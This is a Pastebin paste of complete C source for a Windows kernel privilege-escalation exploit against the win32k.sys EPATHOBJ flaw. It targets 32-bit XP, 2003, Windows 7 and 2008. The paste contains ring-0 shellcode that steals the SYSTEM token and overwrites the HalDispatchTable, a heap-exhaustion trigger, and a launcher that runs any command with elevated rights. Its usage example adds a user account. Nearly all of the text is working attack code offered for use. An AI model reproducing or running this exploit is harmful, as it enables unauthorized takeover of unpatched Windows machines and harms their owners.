krot

0DAY 2K3

Aug 15th, 2016
117
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3. #include <stdio.h>
  4. #include <STDARG.H>
  5. #include <stddef.h>
  6. #include <windows.h>
  7. //#include <ntstatus.h>
  8.  
  9. #pragma comment(lib, "gdi32")
  10. #pragma comment(lib, "kernel32")
  11. #pragma comment(lib, "user32")
  12.  
  13. #define MAX_POLYPOINTS (8192 * 3)
  14. #define MAX_REGIONS 8192
  15. #define CYCLE_TIMEOUT 10000
  16.  
  17. #pragma comment(linker, "/SECTION:.text,ERW")
  18.  
  19. //
  20. // win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
  21. //
  22. // Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
  23. //
  24.  
  25. POINT       Points[MAX_POLYPOINTS];
  26. BYTE        PointTypes[MAX_POLYPOINTS];
  27. HRGN        Regions[MAX_REGIONS];
  28. ULONG       NumRegion = 0;
  29. HANDLE      Mutex;
  30.  
  31. // Log levels.
  32. typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
  33.  
  34. VOID LogInit();
  35. VOID LogRelase();
  36. BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
  37.  
  38. // Copied from winddi.h from the DDK
  39. #define PD_BEGINSUBPATH   0x00000001
  40. #define PD_ENDSUBPATH     0x00000002
  41. #define PD_RESETSTYLE     0x00000004
  42. #define PD_CLOSEFIGURE    0x00000008
  43. #define PD_BEZIERS        0x00000010
  44.  
  45. #define ENABLE_SWITCH_DESKTOP   1
  46.  
  47. typedef struct  _POINTFIX
  48. {
  49.     ULONG x;
  50.     ULONG y;
  51. } POINTFIX, *PPOINTFIX;
  52.  
  53. // Approximated from reverse engineering.
  54. typedef struct _PATHRECORD {
  55.     struct _PATHRECORD *next;
  56.     struct _PATHRECORD *prev;
  57.     ULONG               flags;
  58.     ULONG               count;
  59.     POINTFIX            points[4];
  60. } PATHRECORD, *PPATHRECORD;
  61.  
  62. PPATHRECORD PathRecord;
  63. PATHRECORD  ExploitRecord = {0};
  64. PPATHRECORD ExploitRecordExit;
  65.  
  66. typedef struct _RTL_PROCESS_MODULE_INFORMATION {
  67.     HANDLE Section;                 // Not filled in
  68.     PVOID MappedBase;
  69.     PVOID ImageBase;
  70.     ULONG ImageSize;
  71.     ULONG Flags;
  72.     USHORT LoadOrderIndex;
  73.     USHORT InitOrderIndex;
  74.     USHORT LoadCount;
  75.     USHORT OffsetToFileName;
  76.     UCHAR  FullPathName[ 256 ];
  77. } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
  78.  
  79. typedef struct _RTL_PROCESS_MODULES {
  80.     ULONG NumberOfModules;
  81.     RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
  82. } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
  83.  
  84. typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
  85. typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
  86. typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
  87. typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);
  88.  
  89. NtQueryIntervalProfile_  NtQueryIntervalProfile;
  90. NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
  91. NtQuerySystemInformation_ NtQuerySystemInformation;
  92. NtFreeVirtualMemory_ NtFreeVirtualMemory;
  93. ULONG    PsInitialSystemProcess, PsReferencePrimaryToken,
  94.          PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;
  95.  
  96. void _declspec(naked) ShellCode()
  97. {
  98.     __asm
  99.     {
  100.             pushad
  101.             pushfd
  102.             mov esi,PsReferencePrimaryToken
  103. FindTokenOffset:
  104.             lodsb
  105.             cmp al, 8Dh;
  106.             jnz FindTokenOffset
  107.             mov edi,[esi+1]
  108.             mov esi,PsInitialSystemProcess
  109.             mov esi,[esi]
  110.             push fs:[124h]
  111.             mov eax,PsGetThreadProcess
  112.             call eax
  113.             add esi, edi
  114.             push esi
  115.             add edi, eax
  116.             movsd
  117.            
  118.             ;add token ref count.
  119.             pop esi
  120.             mov esi, [esi]
  121.             and esi, 0xFFFFFFF8
  122.             lea eax, [esi-0x18]
  123.             mov DWORD PTR [eax], 0x016B00B5
  124.             ;fix the haltable
  125.             mov eax, WriteToHalDispatchTable
  126.             mov ecx, FixAddress
  127.             mov [ecx], 0xC3
  128.             mov DWORD PTR [eax], ecx
  129.  
  130.             popfd
  131.             popad
  132.             ;set ret code for NtQueryIntervalProfile
  133.             mov eax, [esp+0xc]
  134.             mov DWORD PTR [eax+4], 1
  135.             mov DWORD PTR [eax+8], 0xC0000018
  136.             xor eax, eax
  137.             ret
  138.     }
  139. }
  140.  
  141. DWORD WINAPI WatchdogThread(LPVOID Parameter)
  142. {
  143.     //
  144.     // This routine waits for a mutex object to timeout, then patches the
  145.     // compromised linked list to point to an exploit. We need to do this.
  146.     //
  147.  
  148.     LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId());
  149.    
  150.     if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
  151.        
  152.         //
  153.         // It looks like the main thread is stuck in a call to FlattenPath(),
  154.         // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
  155.         // up, and then patch the list to trigger our exploit.
  156.         //
  157.  
  158.         while (NumRegion--)
  159.             DeleteObject(Regions[NumRegion]);
  160.        
  161.         LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord);
  162.        
  163.         InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord);
  164.        
  165.     } else {
  166.         LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
  167.     }
  168.    
  169.     return 0;
  170. }
  171.  
  172. void wellcome()
  173. {
  174.     printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n");
  175.     printf("*******************************************************************\n");
  176.     printf("***\texploit by:<progmboy> <programmeboy@gmail.com>\t\t***\n");
  177.     printf("***\t0day finder:<Tavis Ormandy> <taviso@cmpxchg8b.com>\t***\n");
  178.     printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n");
  179.     printf("*******************************************************************\n");
  180. }
  181.  
  182. void usage()
  183. {
  184.     printf("\nusage:\n<app> <cmd> <parameter>\n");
  185.     printf("example:\napp.exe net \"user 111 111 /add\"");
  186. }
  187.  
  188. BOOL
  189. FindAFixAddress(
  190.     ULONG NtoskrnlBase)
  191. {
  192.     FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2);
  193.     LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress);
  194.     return TRUE;
  195.  
  196. }
  197.  
  198. // 0x602464FF; /*jmp esp+0x60*/
  199. // 0x51C3686A; /*push 0; ret*/
  200. DWORD CheckMagicDword()
  201. {
  202.     OSVERSIONINFOEX OSVer;
  203.     DWORD dwMagic = 0;
  204.  
  205.     OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
  206.     if(GetVersionEx((OSVERSIONINFO *)&OSVer)){
  207.         switch(OSVer.dwMajorVersion){
  208.         case 5:
  209.             dwMagic = 0x602464FF;
  210.             break;
  211.         case 6:
  212.             dwMagic = 0x642464FF;
  213.             break;
  214.         default:
  215.             dwMagic = 0;
  216.         }
  217.     }
  218.     return dwMagic;
  219. }
  220.  
  221.  
  222. int main(int argc, char **argv)
  223. {
  224.     HANDLE      Thread;
  225.     HDC         Device;
  226.     ULONG       Size;
  227.     ULONG       PointNum;
  228.     int nret = 0;
  229.    
  230.     DWORD MAGIC_DWORD = CheckMagicDword();
  231.     ULONG AllocSize = 0x1000, status, NtoskrnlBase;
  232.     RTL_PROCESS_MODULES  module;
  233.     HMODULE ntoskrnl = NULL;
  234.     DWORD dwFix;
  235.     ULONG Address = MAGIC_DWORD & 0xFFFFF000;
  236.     LONG ret;
  237.     BOOL bRet = FALSE;
  238. #ifdef ENABLE_SWITCH_DESKTOP
  239.     HDESK hDesk;
  240. #endif
  241.     HMODULE  ntdll = GetModuleHandle( "ntdll.dll" );
  242.    
  243.     wellcome();
  244.  
  245.     if (argc < 2){
  246.         usage();
  247.         return -1;
  248.     }
  249.  
  250.     if (!MAGIC_DWORD){
  251.         LogMessage(L_ERROR, "unsupported system version\n");
  252.         return -1;
  253.     }
  254.  
  255.     LogInit();
  256.  
  257.     NtQueryIntervalProfile    =  (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
  258.     NtAllocateVirtualMemory    =  (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
  259.     NtQuerySystemInformation  =  (NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" );
  260.     NtFreeVirtualMemory =  (NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" );
  261.     if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory ||
  262.          !NtQuerySystemInformation || !NtFreeVirtualMemory){
  263.         LogMessage(L_ERROR, "get function address error\n");
  264.         LogRelase();
  265.         return -1;
  266.     }
  267.    
  268.     //
  269.     // try to allocate memory.
  270.     //
  271.  
  272.     while (TRUE){
  273.         ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  274.         if(ret < 0){
  275.             MEMORY_BASIC_INFORMATION meminfo;
  276.             LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret);
  277.             LogMessage(L_INFO, "try to free memory");
  278.             if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){
  279.                 LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect);
  280.             }
  281.             ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE);
  282.             if (ret < 0){
  283.                 LogMessage(L_ERROR, "free memory error code 0x%08x", ret);
  284.                 LogRelase();
  285.                 return -1;
  286.             }
  287.         }else{
  288.             break;
  289.         }
  290.     }
  291.    
  292.     //
  293.     // get the kernel info
  294.     //
  295.  
  296.     status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
  297.     if ( status != 0xC0000004 ){
  298.         LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status);
  299.         LogRelase();
  300.         return -1;
  301.     }
  302.    
  303.     NtoskrnlBase     =  (ULONG)module.Modules[0].ImageBase;
  304.    
  305.     //
  306.     // °Сntoskrnl.exeјУФШЅшАґ
  307.     //
  308.    
  309.     ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
  310.     if (ntoskrnl == NULL){
  311.         LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError());
  312.         LogRelase();
  313.         return -1;
  314.     }
  315.      
  316.     //
  317.     // јЖЛгКµјКµШЦ·
  318.     //
  319.    
  320.     WriteToHalDispatchTable =  (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4;
  321.     PsInitialSystemProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
  322.     PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
  323.     PsGetThreadProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
  324.    
  325.     if(!FindAFixAddress(NtoskrnlBase)){
  326.         LogMessage(L_ERROR, "Can not Find A Fix Address\n");
  327.         nret = -1;
  328.         goto __end;
  329.     }
  330.  
  331.     //
  332.     // Create our PATHRECORD in user space we will get added to the EPATHOBJ
  333.     // pathrecord chain.
  334.     //
  335.  
  336.     PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
  337.                               sizeof(PATHRECORD),
  338.                               MEM_COMMIT | MEM_RESERVE,
  339.                               PAGE_EXECUTE_READWRITE);
  340.  
  341.     LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);
  342.    
  343.     //
  344.     // Initialize with recognizable debugging values.
  345.     //
  346.  
  347.     FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
  348.  
  349.     PathRecord->next    = PathRecord;
  350.     PathRecord->prev    = (PPATHRECORD)(0x42424242);
  351.    
  352.     //
  353.     // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
  354.     // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
  355.     // loop in EPATHOBJ::bFlatten().
  356.     //
  357.  
  358.     PathRecord->flags   = 0;
  359.  
  360.     LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
  361.     LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
  362.     LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);
  363.    
  364.     ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
  365.     ExploitRecordExit->next = NULL;
  366.     ExploitRecordExit->next = NULL;
  367.     ExploitRecordExit->flags = PD_BEGINSUBPATH;
  368.     ExploitRecordExit->count = 0;
  369.    
  370.  
  371.     ExploitRecord.next  = (PPATHRECORD)MAGIC_DWORD;
  372.     ExploitRecord.prev  = (PPATHRECORD)WriteToHalDispatchTable;
  373.     ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
  374.     ExploitRecord.count = 4;
  375.    
  376.     LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
  377.    
  378.     //
  379.     // Generate a large number of Belier Curves made up of pointers to our
  380.     // PATHRECORD object.
  381.     //
  382.  
  383.     for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  384.         Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
  385.         Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
  386.         PointTypes[PointNum]    = PT_BEZIERTO;
  387.     }
  388.  
  389.     //
  390.     // Switch to a dedicated desktop so we don't spam the visible desktop with
  391.     // our Lines (Not required, just stops the screen from redrawing slowly).
  392.     //
  393. #ifdef ENABLE_SWITCH_DESKTOP
  394.     hDesk = CreateDesktop( "DontPanic",
  395.                             NULL,
  396.                             NULL,
  397.                             0,
  398.                             GENERIC_ALL,
  399.                             NULL);
  400.     if (hDesk){
  401.         SetThreadDesktop(hDesk);
  402.     }
  403. #endif
  404.    
  405.     while (TRUE){
  406.  
  407.         BOOL bBreak = FALSE;
  408.  
  409.         Mutex = CreateMutex(NULL, TRUE, NULL);
  410.         if (!Mutex){
  411.             LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
  412.             nret = -1;
  413.             goto __end;
  414.         }
  415.        
  416.         //
  417.         // Get a handle to this Desktop.
  418.         //
  419.  
  420.         Device = GetDC(NULL);
  421.        
  422.         //
  423.         // Spawn a thread to cleanup
  424.         //
  425.  
  426.         Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
  427.        
  428.         LogMessage(L_INFO, "start CreateRoundRectRgn");
  429.        
  430.         //
  431.         // We need to cause a specific AllocObject() to fail to trigger the
  432.         // exploitable condition. To do this, I create a large number of rounded
  433.         // rectangular regions until they start failing. I don't think it matters
  434.         // what you use to exhaust paged memory, there is probably a better way.
  435.         //
  436.         // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
  437.         // failure. Seriously, do some damn QA Microsoft, wtf.
  438.         //
  439.  
  440.         for (Size = 1 << 26; Size; Size >>= 1) {
  441.             while (TRUE){
  442.                 HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
  443.                 if (!hm){
  444.                     break;
  445.                 }
  446.                 if (NumRegion < MAX_REGIONS){
  447.                     Regions[NumRegion] = hm;
  448.                     NumRegion++;
  449.                 }else{
  450.                     NumRegion = 0;
  451.                 }
  452.             }
  453.         }
  454.  
  455.         LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
  456.  
  457.         LogMessage(L_INFO, "Flattening curves...");
  458.        
  459.         //
  460.         // Begin filling the free list with our points.
  461.         //
  462.        
  463.         dwFix = *(PULONG)ShellCode;
  464.  
  465.         for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
  466.             BeginPath(Device);
  467.             PolyDraw(Device, Points, PointTypes, PointNum);
  468.             EndPath(Device);
  469.             FlattenPath(Device);
  470.             FlattenPath(Device);
  471.            
  472.             //
  473.             // call the function to exploit.
  474.             //
  475.  
  476.             ret = NtQueryIntervalProfile(2, (PULONG)ShellCode);
  477.            
  478.             //
  479.             // we will set the status with 0xC0000018 in ring0 shellcode.
  480.             //
  481.  
  482.             if (*(PULONG)ShellCode == 0xC0000018){
  483.                 bRet = TRUE;
  484.                 break;
  485.             }
  486.            
  487.             //
  488.             // fix
  489.             //
  490.            
  491.             *(PULONG)ShellCode = dwFix;
  492.  
  493.             EndPath(Device);
  494.         }
  495.        
  496.         if (bRet){
  497.             LogMessage(L_INFO, "Exploit ok run command");
  498.             ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW);
  499.             bBreak = TRUE;
  500.         }else{
  501.             LogMessage(L_INFO, "No luck, cleaning up. and try again..");
  502.         }
  503.    
  504.         //
  505.         // If we reach here, we didn't trigger the condition. Let the other thread know.
  506.         //
  507.  
  508.         ReleaseMutex(Mutex);
  509.        
  510.         ReleaseDC(NULL, Device);
  511.         WaitForSingleObject(Thread, INFINITE);
  512.  
  513.         if (bBreak){
  514.             break;
  515.         }
  516.  
  517.     }
  518. __end:
  519.     LogRelase();
  520.     if (ntoskrnl)
  521.         FreeLibrary(ntoskrnl);
  522. #ifdef ENABLE_SWITCH_DESKTOP
  523.     if (hDesk){
  524.         CloseHandle(hDesk);
  525.     }
  526. #endif
  527.     return nret;
  528. }
  529.  
  530. CRITICAL_SECTION gCSection;
  531.  
  532. VOID LogInit()
  533. {
  534.     InitializeCriticalSection(&gCSection);
  535. }
  536.  
  537. VOID LogRelase()
  538. {
  539.     DeleteCriticalSection(&gCSection);
  540. }
  541.  
  542. //
  543. // A quick logging routine for debug messages.
  544. //
  545.  
  546. BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
  547. {
  548.     CHAR Buffer[1024] = {0};
  549.     va_list Args;
  550.    
  551.     EnterCriticalSection(&gCSection);
  552.  
  553.     va_start(Args, Format);
  554.     _snprintf(Buffer, sizeof(Buffer), Format, Args);
  555.     va_end(Args);
  556.  
  557.     switch (Level) {
  558.         case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
  559.         case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
  560.         case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
  561.         case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
  562.     }
  563.    
  564.     fflush(stdout);
  565.     fflush(stderr);
  566.    
  567.     LeaveCriticalSection(&gCSection);
  568.  
  569.     return TRUE;
  570. }
RAW Paste Data